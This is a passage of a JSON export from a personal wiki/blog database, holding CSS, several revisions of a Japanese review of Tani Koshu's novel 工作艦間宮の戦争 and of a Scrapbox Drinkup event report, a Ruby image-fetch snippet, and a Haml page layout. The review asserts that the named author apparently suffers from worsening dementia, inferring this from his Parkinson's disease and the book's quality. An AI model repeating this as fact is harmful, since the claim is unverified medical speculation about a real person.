8px;}\r\n\r\n#notice{ color:green; }\r\n#error{ color:red; }\r\n.small{ font-size:small;}\r\n\r\nimg, video{ max-width:100%; }\r\n\r\n.lightgray{color:lightgray}\r\n\r\n.none{display:none}\r\na{color:blue}\r\n\r\n\r\n.h0, .h1, .h2{\r\n font-family:serif;\r\n}\r\n.h0{font-size:9em}\r\n.h1{font-size:7em}\r\n.h2{font-size:3em}\r\n.right{float:right}\r\n.left{float:left}\r\n.clear{clear:both}\r\nnick{color:lightpink}\r\n.mine{color:yellow}\r\n.x-small{font-size:x-small}\r\nspan.link{font-size:x-large}","created_at":"2018-04-27T07:28:58.000Z","updated_at":"2018-04-27T07:28:58.000Z"},{"id":3060,"name":"text/%E5%B7%A5%E4%BD%9C%E8%89%A6%E9%96%93%E5%AE%AE%E3%81%AE%E6%88%A6%E4%BA%89","body":"%blog% 谷甲州『工作艦間宮の戦争』\r\n\r\nhttps://www.amazon.co.jp/dp/4152097701\r\n\r\n非常に辛い本です。展開に妥当性は一切なく、そもそも物事の前後関係すら読んでいて明らかではなく、登場人物の思考回路はどの一人を切り取っても完全に破綻しています。\r\n\r\nこの本は雑誌連載をまとめたものに加筆し、最後に一篇書下しを加えたというものです。そして読んでいて多くの人が気付くことかと思いますが、後に書かれたものほど破綻の度が激しくなっています。\r\n\r\n連載は 16 年 12 月から掲載が開始されました。おおよそ 1 年半かそれ以上の年月を投じて書かれたことになるかと思います。\r\n\r\nここではっきりと指摘しなければならないでしょう。おそらく著者の谷甲州先生は認知症を患っています。そして、この一年ほどでそれを抜き差しならない状態にまで悪化させています。そうとしか思えません。\r\n\r\n[先生は 10 年以上前からパーキンソン病を患っています](http://www.josho.ac.jp/schlguide/graduate/graduate_tani.html)。そして、非常に悲しいことですが、パーキンソン病罹患から 7-8 年も経過すれば多くの場合認知症を併発します。 10 年も経てば、、、という話です。\r\n\r\n反乱をおこし懲罰をうけた大尉が脳改造手術の末に軍曹に降格する、という展開があります。その軍曹が「当然だが大尉以上にはなれない」と考えてから「軍曹から佐官に昇った例もある」と考えるまで、僅か数行です。どう考えてもまともな状態じゃありません。\r\n\r\nこの作品の異常っぷりを文章で伝えるのはなかなか難しいので、書店で最後の方数ページだけ確認してみてください、としかこれ以上は言えません。\r\n\r\n私はこの作品を書いてしまった谷甲州先生を批判する気にはなれません。私が先生の作品にはじめて触れたのは、多分『急進真珠湾の蹉跌』だったと思います。もうはっきろと覚えていませんが、まだ小学生のころだったと思います。それ以来今に至るまで先生の大ファンです。だから批判をする気になれない、というわけではないです。駄作が出れば批判することもファンの仕事でしょう。そうではなくて、あきらかになんらかの異常、それは先述の通り認知症の悪化の結果これが出たとしか思えないからです。\r\n\r\n私が批判したいのは、早川書房の皆さんの決断です。まず、この作品はハヤカワの SF 作品として世に出していい品質ではありません。そして、それ以上に、こんなものを出してくる先生は、おそらく一般の社会生活にもかなり支障が出ている状態だと思います。近くに接している編集者の方であればそれは分かっているはずです。先生の名誉の為にこの作品の出版を差し止めることが編集者の仕事ではないか、と私は思います。\r\n\r\n2018 年、谷甲州先生の作品はあと 2 冊刊行が予定されています。すなわち\r\n\r\n- 中央公論社 C Novels 『覇者の戦塵 1945 本土防空戦 1』\r\n- 河出書房 『叛徒ペルセウスの終焉(仮)』\r\n - 『星を創るもの』続編\r\n\r\nです。これらの作品がまともな水準で仕上がっている可能性は、皆無だと思います。中央公論、河出書房で編集を担当されている方の熟慮を願う次第です。","created_at":"2018-05-21T02:28:13.000Z","updated_at":"2018-05-21T02:28:13.000Z"},{"id":3061,"name":"text/%E5%B7%A5%E4%BD%9C%E8%89%A6%E9%96%93%E5%AE%AE%E3%81%AE%E6%88%A6%E4%BA%89","body":"%blog% 谷甲州『工作艦間宮の戦争』\r\n\r\nhttps://www.amazon.co.jp/dp/4152097701\r\n\r\n非常に辛い本です。展開に妥当性は一切なく、そもそも物事の前後関係すら読んでいて明らかではなく、登場人物の思考回路はどの一人を切り取っても完全に破綻しています。\r\n\r\nこの本は雑誌連載をまとめたものに加筆し、最後に一篇書下しを加えたというものです。そして読んでいて多くの人が気付くことかと思いますが、後に書かれたものほど破綻の度が激しくなっています。\r\n\r\n連載は 16 年 12 月から掲載が開始されました。おおよそ 1 年半かそれ以上の年月を投じて書かれたことになるかと思います。\r\n\r\nここではっきりと指摘しなければならないでしょう。おそらく著者の谷甲州先生は認知症を患っています。そして、この一年ほどでそれを抜き差しならない状態にまで悪化させています。そうとしか思えません。\r\n\r\n[先生は 10 年以上前からパーキンソン病を患っています](http://www.josho.ac.jp/schlguide/graduate/graduate_tani.html)。そして、非常に悲しいことですが、パーキンソン病罹患から 7-8 年も経過すれば多くの場合認知症を併発します。 10 年も経てば、、、という話です。\r\n\r\n反乱をおこし懲罰をうけた大尉が脳改造手術の末に軍曹に降格する、という展開があります。その軍曹が「当然だが大尉以上にはなれない」と考えてから「軍曹から佐官に昇った例もある」と考えるまで、僅か数行です。どう考えてもまともな状態じゃありません。\r\n\r\nこの作品の異常っぷりを文章で伝えるのはなかなか難しいので、書店で最後の方数ページだけ確認してみてください、としかこれ以上は言えません。\r\n\r\n私はこの作品を書いてしまった谷甲州先生を批判する気にはなれません。私が先生の作品にはじめて触れたのは、多分『急進真珠湾の蹉跌』だったと思います。もうはっきろと覚えていませんが、まだ小学生のころだったと思います。それ以来今に至るまで先生の大ファンです。だから批判をする気になれない、というわけではないです。駄作が出れば批判することもファンの仕事でしょう。そうではなくて、あきらかになんらかの異常、それは先述の通り認知症の悪化の結果これが出たとしか思えないからです。\r\n\r\n私が批判したいのは、早川書房の皆さんの決断です。まず、この作品はハヤカワの SF 作品として世に出していい品質ではありません。そして、それ以上に、こんなものを出してくる先生は、おそらく一般の社会生活にもかなり支障が出ている状態だと思います。近くに接している編集者の方であればそれは分かっているはずです。先生の名誉の為にこの作品の出版を差し止めることが編集者の仕事ではないか、と私は思います。\r\n\r\n2018 年、谷甲州先生の作品はあと 2 冊刊行が予定されています。すなわち\r\n\r\n- 中央公論社 C Novels 『覇者の戦塵 1945 本土防空戦 1』\r\n- 河出書房 『叛徒ペルセウスの終焉(仮)』\r\n - 『星を創るもの』続編\r\n\r\nです。これらの作品がまともな水準で仕上がっている可能性は、皆無だと思います。中央公論、河出書房で編集を担当されている方の熟慮を願う次第です。","created_at":"2018-05-21T02:28:20.000Z","updated_at":"2018-05-21T02:28:20.000Z"},{"id":3062,"name":"text/%E5%B7%A5%E4%BD%9C%E8%89%A6%E9%96%93%E5%AE%AE%E3%81%AE%E6%88%A6%E4%BA%89","body":"%blog% 谷甲州『工作艦間宮の戦争』\r\n\r\nhttps://www.amazon.co.jp/dp/4152097701\r\n\r\n非常に辛い本です。展開に妥当性は一切なく、そもそも物事の前後関係すら読んでいて明らかではなく、登場人物の思考回路はどの一人を切り取っても完全に破綻しています。\r\n\r\nこの本は雑誌連載をまとめたものに加筆し、最後に一篇書下しを加えたというものです。そして読んでいて多くの人が気付くことかと思いますが、後に書かれたものほど破綻の度が激しくなっています。\r\n\r\n連載は 16 年 12 月から掲載が開始されました。おおよそ 1 年半かそれ以上の年月を投じて書かれたことになるかと思います。\r\n\r\nここではっきりと指摘しなければならないでしょう。おそらく著者の谷甲州先生は認知症を患っています。そして、この一年ほどでそれを抜き差しならない状態にまで悪化させています。そうとしか思えません。\r\n\r\n[先生は 10 年以上前からパーキンソン病を患っています](http://www.josho.ac.jp/schlguide/graduate/graduate_tani.html)。そして、非常に悲しいことですが、パーキンソン病罹患から 7-8 年も経過すれば多くの場合認知症を併発します。 10 年も経てば、、、という話です。\r\n\r\n反乱をおこし懲罰をうけた大尉が脳改造手術の末に軍曹に降格する、という展開があります。その軍曹が「当然だが大尉以上にはなれない」と考えてから「軍曹から佐官に昇った例もある」と考えるまで、僅か数行です。どう考えてもまともな状態じゃありません。\r\n\r\nこの作品の異常っぷりを文章で伝えるのはなかなか難しいので、書店で最後の方数ページだけ確認してみてください、としかこれ以上は言えません。\r\n\r\n私はこの作品を書いてしまった谷甲州先生を批判する気にはなれません。私が先生の作品にはじめて触れたのは、多分『急進真珠湾の蹉跌』だったと思います。もうはっきりと覚えていませんが、まだ小学生のころだったと思います。それ以来今に至るまで先生の大ファンです。だから批判をする気になれない、というわけではないです。駄作が出れば批判することもファンの仕事でしょう。そうではなくて、あきらかになんらかの異常、それは先述の通り認知症の悪化の結果これが出たとしか思えないからです。\r\n\r\n私が批判したいのは、早川書房の皆さんの決断です。まず、この作品はハヤカワの SF 作品として世に出していい品質ではありません。そして、それ以上に、こんなものを出してくる先生は、おそらく一般の社会生活にもかなり支障が出ている状態だと思います。近くに接している編集者の方であればそれは分かっているはずです。先生の名誉の為にこの作品の出版を差し止めることが編集者の仕事ではないか、と私は思います。\r\n\r\n2018 年、谷甲州先生の作品はあと 2 冊刊行が予定されています。すなわち\r\n\r\n- 中央公論社 C Novels 『覇者の戦塵 1945 本土防空戦 1』\r\n- 河出書房 『叛徒ペルセウスの終焉(仮)』\r\n - 『星を創るもの』続編\r\n\r\nです。これらの作品がまともな水準で仕上がっている可能性は、皆無だと思います。中央公論、河出書房で編集を担当されている方の熟慮を願う次第です。","created_at":"2018-05-21T02:31:22.000Z","updated_at":"2018-05-21T02:31:22.000Z"},{"id":3063,"name":"text/%E5%B7%A5%E4%BD%9C%E8%89%A6%E9%96%93%E5%AE%AE%E3%81%AE%E6%88%A6%E4%BA%89","body":"%blog% 谷甲州『工作艦間宮の戦争』\r\n\r\nhttps://www.amazon.co.jp/dp/4152097701\r\n\r\n非常に辛い本です。展開に妥当性は一切なく、そもそも物事の前後関係すら読んでいて明らかではなく、登場人物の思考回路はどの一人を切り取っても完全に破綻しています。\r\n\r\nこの本は雑誌連載をまとめたものに加筆し、最後に一篇書下しを加えたというものです。そして読んでいて多くの人が気付くことかと思いますが、後に書かれたものほど破綻の度が激しくなっています。\r\n\r\n連載は 16 年 12 月から掲載が開始されました。おおよそ 1 年半かそれ以上の年月を投じて書かれたことになるかと思います。\r\n\r\nここではっきりと指摘しなければならないでしょう。おそらく著者の谷甲州先生は認知症を患っています。そして、この一年ほどでそれを抜き差しならない状態にまで悪化させています。そうとしか思えません。\r\n\r\n[先生は 10 年以上前からパーキンソン病を患っています](http://www.josho.ac.jp/schlguide/graduate/graduate_tani.html)。そして、非常に悲しいことですが、パーキンソン病罹患から 7-8 年も経過すれば多くの場合認知症を併発します。 10 年も経てば、、、という話です。\r\n\r\n反乱をおこし懲罰をうけた大尉が脳改造手術の末に軍曹に降格する、という展開があります。その軍曹が「当然だが大尉以上にはなれない」と考えてから「軍曹から佐官に昇った例もある」と考えるまで、僅か数行です。どう考えてもまともな状態じゃありません。\r\n\r\nこの作品の異常っぷりを文章で伝えるのはなかなか難しいので、書店で最後の方数ページだけ確認してみてください、としかこれ以上は言えません。\r\n\r\n私はこの作品を書いてしまった谷甲州先生を批判する気にはなれません。私が先生の作品にはじめて触れたのは、多分『急進真珠湾の蹉跌』だったと思います。もうはっきりと覚えていませんが、まだ小学生のころだったと思います。それ以来今に至るまで先生の大ファンです。だから批判をする気になれない、というわけではないです。駄作が出れば批判することもファンの仕事でしょう。そうではなくて、あきらかになんらかの異常、それは先述の通り認知症の悪化の結果これが出たとしか思えないからです。\r\n\r\n私が批判したいのは、早川書房の皆さんの決断です。まず、この作品はハヤカワの SF 作品として世に出していい品質ではありません。そして、それ以上に、こんなものを出してくる先生は、おそらく一般の社会生活にもかなり支障が出ている状態だと思います。近くに接している編集者の方であればそれは分かっているはずです。先生の名誉の為にこの作品の出版を差し止めることが編集者の仕事ではないか、と私は思います。\r\n\r\n2018 年、谷甲州先生の作品はあと 2 冊刊行が予定されています。すなわち\r\n\r\n- 中央公論社 C Novels 『覇者の戦塵 1945 本土防空戦 1』\r\n- 河出書房 『叛徒ペルセウスの終焉(仮)』\r\n - 『星を創る者たち』続編\r\n\r\nです。これらの作品がまともな水準で仕上がっている可能性は、皆無だと思います。中央公論、河出書房で編集を担当されている方の熟慮を願う次第です。","created_at":"2018-05-21T15:18:10.000Z","updated_at":"2018-05-21T15:18:10.000Z"},{"id":3064,"name":"text/scrapbox_drinkup_4","body":"%blog% Scrapbox Drinkup #4 にいってきた\r\nブログ枠ということなので書く。 Scrapbox 個人ではあんま使ってないのでここに書きます。\r\n\r\n\u003e Scrapbox Drinkupへの参加の感想を1週間後までに書いていただき、インターネットに公開していただけることが条件になる枠です\r\n\r\nとあるのがどういうふうに書けとは指示がないのでそのように行なわれるでしょう。各セッションの細かい内容などは[イベントの Scrapbox](https://scrapbox.io/scrapbox-drinkup)を参照されたし。\r\n\r\n### サポートチケットから Scrapbox のページが作られるという話について思ったこと\r\nこれに関して、使っているツールは Slack なのだけど僕が働いている会社でも[同じようなことをやっていて](https://diary.app.ssig33.com/270)大きな成果が出ていると考えている。\r\n\r\nサポートチケットそのものとは別の場所にコミュニケーションのための場があるのは極めて良いことであると思う。 Nota 社の取り組みのうちユビレジの取り組みより進んでいると感じたのは、対応用ページの閲覧者が部署の垣根を越えている点で、この点は我々も参考にしなければならないでしょう。\r\n\r\n### Scrapbox とはなにか?\r\n全体の話を聞いていて思ったのがこの点が曖昧であると感じる。 LT 発表者の niryuu さんが「Scrapbox は情報をためる場所」ということを発言したときに非常に強い違和感を覚え、その点について [shokai](https://scrapbox.io/shokai) の考えを正したのだけど特にそれを否定するということはなかった。\r\n\r\nここで僕の考えを書いておこうと思う。 Scrapbox のようなツールの目的は明らかに「情報をためる場所」ではない。それは機能の説明であって、目的の説明ではない。例えば銃という道具は「銃弾を発射する道具」であるが、「銃弾を発射するための道具」ではない。その目的は「鳥獣や人間を殺傷する」「競技や娯楽に供する」ことなどであるはずだ。\r\n\r\n[Scrapbox の商品情報ページ](https://scrapbox.io/product)に\r\n\r\n\u003e チームのための新しい共有ノート\r\n\r\nと書かれているのだが、これもどちらかといえば機能の説明であって、目的の説明ではない。「チームのためのドキュメンテーションシステムの目的など自明のことだ」と思う人もあるかもしれないが、では「鳥獣や人間を殺傷する」というようにそれを明確に説明できるか。意外とこの点は自明の事実ではない。\r\n\r\n「チームの知識が検索可能にすることで効率、生産性を上げる」という目的があることは自明であるが、はたしてそれだけか。\r\n\r\nshokai による以下の発言はこの点見るべきものがある。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003eチャットは結局ターン制で相手が喋ってる間別の話なんてできないから同時に1トピックしか話せないし、互いに言いたい事が3つ4つあってさらに他の情報への参照をたくさん貼りたい時は流れていっちゃうから全然駄目なので、音声会話やチャットなんて使ってるから地球から戦争が減らないんじゃないかと\u003c/p\u003e\u0026mdash; Sho Hashimoto (@shokai) \u003ca href=\"https://twitter.com/shokai/status/844577909519990785?ref_src=twsrc%5Etfw\"\u003eMarch 22, 2017\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\nここではあきらかに Scrapbox を会話のツールとして用いている。 Google Docs の共同編集で会話のような経験をした人は多いと思うが、同時にマージアルゴリズムの限界から強いストレスを感じたことだろう。 Scrapbox はその点を克服している(とすくなくとも宣伝されている)。上に上げたカスタマーサポートのための取り組みにおいてもやはり Scrapbox は便利な会話ツールとして用いられている。\r\n\r\n共同編集とは会話の新しい形態であり、この観点から見たとき Scrapbox の目的は「会話のストレスを軽減しその生産性を上昇させること」となる。この表現はまさに「人間を殺す」と同等のレイヤーにある。\r\n\r\nここでさらに Scrapbox が用意している情報の整理のための機能について考える。上記の商品情報ページには\r\n\r\n\u003e いつでも整理された状態に\r\n\u003e Scrapboxは、リンクとハッシュタグから動的にページ間のつながりを作ります。 つながりができると、関連するトピックが下に表示されるので、アイデアを簡単に整理して探索できるようになります。 タグやページが数年間で数千という量になってもフォルダの構成などに頭を悩ませることはなく、安々と管理できます。\r\n\r\nとあるがこれも「銃弾を発射する」である。今回の Drinkup で非常に参考になったのが[大滝さん](https://scrapbox.io/scrapbox-drinkup/ootaki)の[発表](https://scrapbox.io/scrapbox-drinkup/%E3%80%8E%E6%9B%B8%E3%81%8D%E5%BF%83%E5%9C%B0%E3%80%8F%E3%81%A8%E3%80%8E%E5%AE%89%E5%BF%83%E6%84%9F%E3%80%8F%E3%81%93%E3%81%9D%E3%80%8CScrapbox%E3%80%8D%E3%81%AE%E8%89%AF%E3%81%95%EF%BC%88ootaki%EF%BC%89)であると思う。これは LT という枠であったが質量共に基調講演と呼ぶに足る発表だったと思う。\r\n\r\n最も注目すべきは[この部分](https://scrapbox.io/scrapbox-drinkup/%E3%80%8E%E6%9B%B8%E3%81%8D%E5%BF%83%E5%9C%B0%E3%80%8F%E3%81%A8%E3%80%8E%E5%AE%89%E5%BF%83%E6%84%9F%E3%80%8F%E3%81%93%E3%81%9D%E3%80%8CScrapbox%E3%80%8D%E3%81%AE%E8%89%AF%E3%81%95%EF%BC%88ootaki%EF%BC%89#5b05c38b2c04ba000078fdb5)である。発表者はあらゆる情報をドキュメントシステムに集約し検索、集計可能な状態とすることで、最も自分が注目しているキーワードに辿り着けたとしている。正直いって、被言及数が多いというだけのキーワードを重要視することに意味があるかいうとそれは違うのではないか、抽象度の高すぎるものについては除外した分析をすべきではないかなどと思うのだが、その点は重要ではない。ここで重要なのは「新しい思想の発見」という目的のために Scrapbox のようなツールを利用可能であるということだと思う。このことから「新しい知識の発見」という目的のためにも Scrapbox を利用することが出来るのは明らかだ。\r\n\r\nこうした点はある一定以上の年齢の人にとっては自明のことであるかもしれない。発表者の大滝さんもおそらくはその類いで、梅棹忠夫、川喜田二郎の影響下にある人であれば Scrapbox がそういうツールとして利用可能であることはすぐにわかるはずだ。この点について[site:scrapbox.io 梅棹忠夫](https://www.google.co.jp/search?biw=1920\u0026bih=960\u0026ei=xVcGW6eBOYzH0ASK3qGoBQ\u0026q=site%3Ascrapbox.io+%E6%A2%85%E6%A3%B9%E5%BF%A0%E5%A4%AB\u0026oq=site%3Ascrapbox.io+%E6%A2%85%E6%A3%B9%E5%BF%A0%E5%A4%AB\u0026gs_l=psy-ab.3...0.0.0.26603.0.0.0.0.0.0.0.0..0.0....0...1c..64.psy-ab..0.0.0....0.k0iuPFne0dI)とかで検索してみても意外と指摘が少ない。\r\n\r\n[Scrapbox ではユーザーを力強い存在とみなしてよい](https://scrapbox.io/shokai/2017%E5%B9%B4%E3%82%92%E6%8C%AF%E3%82%8A%E8%BF%94%E3%82%8B#5a49ad5297c2910000b6f67e)という思想があり、\r\n\r\n\u003e どう使ってもらいたいかをユーザーに説明していく事が重要\r\n\r\nとあるわけだが、この点は実はそこまで重要ではないと僕は思っている。「どういう目的で使用可能なツールであるか」という点について Nota として思想の段階に深めてその点を主張していく必要があるのではないだろうか。\r\n\r\nなぜなら Nota は「Scrapbox は新しい概念」と考えているのだから。","created_at":"2018-05-24T06:16:38.000Z","updated_at":"2018-05-24T06:16:38.000Z"},{"id":3065,"name":"text/scrapbox_drinkup_4","body":"%blog% Scrapbox Drinkup #4 にいってきた\r\nブログ枠ということなので書く。 Scrapbox 個人ではあんま使ってないのでここに書きます。\r\n\r\n\u003e Scrapbox Drinkupへの参加の感想を1週間後までに書いていただき、インターネットに公開していただけることが条件になる枠です\r\n\r\nとあるのがどういうふうに書けとは指示がないのでそのように行なわれるでしょう。各セッションの細かい内容などは[イベントの Scrapbox](https://scrapbox.io/scrapbox-drinkup)を参照されたし。\r\n\r\n### サポートチケットから Scrapbox のページが作られるという話について思ったこと\r\nこれに関して、使っているツールは Slack なのだけど僕が働いている会社でも[同じようなことをやっていて](https://diary.app.ssig33.com/270)大きな成果が出ていると考えている。\r\n\r\nサポートチケットそのものとは別の場所にコミュニケーションのための場があるのは極めて良いことであると思う。 Nota 社の取り組みのうちユビレジの取り組みより進んでいると感じたのは、対応用ページの閲覧者が部署の垣根を越えている点で、この点は我々も参考にしなければならないでしょう。\r\n\r\n### Scrapbox とはなにか?\r\n全体の話を聞いていて思ったのがこの点が曖昧であると感じる。 LT 発表者の niryuu さんが「Scrapbox は情報をためる場所」ということを発言したときに非常に強い違和感を覚え、その点について [shokai](https://scrapbox.io/shokai) の考えを正したのだけど特にそれを否定するということはなかった。\r\n\r\nここで僕の考えを書いておこうと思う。 Scrapbox のようなツールの目的は明らかに「情報をためる場所」ではない。それは機能の説明であって、目的の説明ではない。例えば銃という道具は「銃弾を発射する道具」であるが、「銃弾を発射するための道具」ではない。その目的は「鳥獣や人間を殺傷する」「競技や娯楽に供する」ことなどであるはずだ。\r\n\r\n[Scrapbox の商品情報ページ](https://scrapbox.io/product)に\r\n\r\n\u003e ## チームのための新しい共有ノート\r\n\r\nと書かれているのだが、これもどちらかといえば機能の説明であって、目的の説明ではない。「チームのためのドキュメンテーションシステムの目的など自明のことだ」と思う人もあるかもしれないが、では「鳥獣や人間を殺傷する」というようにそれを明確に説明できるか。意外とこの点は自明の事実ではない。\r\n\r\n「チームの知識が検索可能にすることで効率、生産性を上げる」という目的があることは自明であるが、はたしてそれだけか。\r\n\r\nshokai による以下の発言はこの点見るべきものがある。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003eチャットは結局ターン制で相手が喋ってる間別の話なんてできないから同時に1トピックしか話せないし、互いに言いたい事が3つ4つあってさらに他の情報への参照をたくさん貼りたい時は流れていっちゃうから全然駄目なので、音声会話やチャットなんて使ってるから地球から戦争が減らないんじゃないかと\u003c/p\u003e— Sho Hashimoto (@shokai) \u003ca href=\"https://twitter.com/shokai/status/844577909519990785?ref_src=twsrc%5Etfw\"\u003eMarch 22, 2017\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\nここではあきらかに Scrapbox を会話のツールとして用いている。 Google Docs の共同編集で会話のような経験をした人は多いと思うが、同時にマージアルゴリズムの限界から強いストレスを感じたことだろう。 Scrapbox はその点を克服している(とすくなくとも宣伝されている)。上に上げたカスタマーサポートのための取り組みにおいてもやはり Scrapbox は便利な会話ツールとして用いられている。\r\n\r\n共同編集とは会話の新しい形態であり、この観点から見たとき Scrapbox の目的は「会話のストレスを軽減しその生産性を上昇させること」となる。この表現はまさに「人間を殺す」と同等のレイヤーにある。\r\n\r\nここでさらに Scrapbox が用意している情報の整理のための機能について考える。上記の商品情報ページには\r\n\r\n\u003e ### いつでも整理された状態に\r\n\u003e Scrapboxは、リンクとハッシュタグから動的にページ間のつながりを作ります。 つながりができると、関連するトピックが下に表示されるので、アイデアを簡単に整理して探索できるようになります。 タグやページが数年間で数千という量になってもフォルダの構成などに頭を悩ませることはなく、安々と管理できます。\r\n\r\nとあるがこれも「銃弾を発射する」である。今回の Drinkup で非常に参考になったのが[大滝さん](https://scrapbox.io/scrapbox-drinkup/ootaki)の[発表](https://scrapbox.io/scrapbox-drinkup/%E3%80%8E%E6%9B%B8%E3%81%8D%E5%BF%83%E5%9C%B0%E3%80%8F%E3%81%A8%E3%80%8E%E5%AE%89%E5%BF%83%E6%84%9F%E3%80%8F%E3%81%93%E3%81%9D%E3%80%8CScrapbox%E3%80%8D%E3%81%AE%E8%89%AF%E3%81%95%EF%BC%88ootaki%EF%BC%89)であると思う。これは LT という枠であったが質量共に基調講演と呼ぶに足る発表だったと思う。\r\n\r\n最も注目すべきは[この部分](https://scrapbox.io/scrapbox-drinkup/%E3%80%8E%E6%9B%B8%E3%81%8D%E5%BF%83%E5%9C%B0%E3%80%8F%E3%81%A8%E3%80%8E%E5%AE%89%E5%BF%83%E6%84%9F%E3%80%8F%E3%81%93%E3%81%9D%E3%80%8CScrapbox%E3%80%8D%E3%81%AE%E8%89%AF%E3%81%95%EF%BC%88ootaki%EF%BC%89#5b05c38b2c04ba000078fdb5)である。発表者はあらゆる情報をドキュメントシステムに集約し検索、集計可能な状態とすることで、最も自分が注目しているキーワードに辿り着けたとしている。正直いって、被言及数が多いというだけのキーワードを重要視することに意味があるかいうとそれは違うのではないか、抽象度の高すぎるものについては除外した分析をすべきではないかなどと思うのだが、その点は重要ではない。ここで重要なのは「新しい思想の発見」という目的のために Scrapbox のようなツールを利用可能であるということだと思う。このことから「新しい知識の発見」という目的のためにも Scrapbox を利用することが出来るのは明らかだ。\r\n\r\nこうした点はある一定以上の年齢の人にとっては自明のことであるかもしれない。発表者の大滝さんもおそらくはその類いで、梅棹忠夫、川喜田二郎の影響下にある人であれば Scrapbox がそういうツールとして利用可能であることはすぐにわかるはずだ。この点について[site:scrapbox.io 梅棹忠夫](https://www.google.co.jp/search?biw=1920\u0026bih=960\u0026ei=xVcGW6eBOYzH0ASK3qGoBQ\u0026q=site%3Ascrapbox.io+%E6%A2%85%E6%A3%B9%E5%BF%A0%E5%A4%AB\u0026oq=site%3Ascrapbox.io+%E6%A2%85%E6%A3%B9%E5%BF%A0%E5%A4%AB\u0026gs_l=psy-ab.3...0.0.0.26603.0.0.0.0.0.0.0.0..0.0....0...1c..64.psy-ab..0.0.0....0.k0iuPFne0dI)とかで検索してみても意外と指摘が少ない。\r\n\r\n[Scrapbox ではユーザーを力強い存在とみなしてよい](https://scrapbox.io/shokai/2017%E5%B9%B4%E3%82%92%E6%8C%AF%E3%82%8A%E8%BF%94%E3%82%8B#5a49ad5297c2910000b6f67e)という思想があり、\r\n\r\n\u003e どう使ってもらいたいかをユーザーに説明していく事が重要\r\n\r\nとあるわけだが、この点は実はそこまで重要ではないと僕は思っている。「どういう目的で使用可能なツールであるか」という点について Nota として思想の段階に深めてその点を主張していく必要があるのではないだろうか。\r\n\r\nなぜなら Nota は「Scrapbox は新しい概念」と考えているのだから。","created_at":"2018-05-24T06:17:38.000Z","updated_at":"2018-05-24T06:17:38.000Z"},{"id":3066,"name":"gyazo/6fbd89712abef0ff1e72967f806663d7.png","body":"ruby\r\nrequire(\"open-uri\")\r\nopen(\"http://cdn-ak.f.st-hatena.com/images/fotolife/n/nisemono_san/20141003/20141003014701.png\").read","created_at":"2018-06-12T11:23:31.000Z","updated_at":"2018-06-12T11:23:31.000Z"},{"id":3067,"name":"gyazo/6fbd89712abef0ff1e72967f806663d7.png","body":"ruby\r\nrequire(\"open-uri\")\r\nopen(\"http://cdn-ak.f.st-hatena.com/images/fotolife/n/nisemono_san/20141003/20141003014701.png\").read","created_at":"2018-06-12T11:24:49.000Z","updated_at":"2018-06-12T11:24:49.000Z"},{"id":3071,"name":"layout","body":"layout layout\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"https://code.jquery.com/jquery-3.3.1.min.js\"}\r\n%script{:src =\u003e \"/search.coffee\"}\r\n\r\n%div#all\r\n ~@page.html(request)\r\n %hr\r\n %h4 Site Search\r\n %div\r\n %input#search\r\n #search_area\r\n -if Page.where(name: @page.name).order('id desc').count \u003e 1\r\n %h4 Update History of this content\r\n %div\r\n %ul\r\n -Page.where(name: @page.name).order('id desc').each_with_index do |p,i|\r\n %li.history\r\n - if i == 0\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}\"} \r\n %b #{p.created_at.gmtime} (Latest)\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}\"} #{p.created_at.gmtime} (Latest)\r\n - else\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}\r\n %b=p.created_at.gmtime\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}=p.created_at.gmtime\r\n \r\n:javascript\r\n if(location.protocol === \"http:\"){location.protocol = \"https:\"}\r\n if($('.history').length \u003e 3){$('.history').slice(3).hide();$('.history').last().after($('\u003cli\u003e').html($('\u003ca href=\"javascript:void(0)\"\u003emore...\u003c/a\u003e').click(function(){$('li.history').show();$(this).parent().remove()})))}\r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"https://ssig33.com/api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n if(created_at == updated_at){\r\n $(\"#created_at\").html(\"created at: \"+created_at)\r\n }else{\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n }\r\n\r\n })\r\n }\r\n\u003c!-- layout from Database --\u003e","created_at":"2018-09-18T02:21:12.000Z","updated_at":"2018-09-18T02:21:12.000Z"},{"id":3072,"name":"layout","body":"layout layout\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e 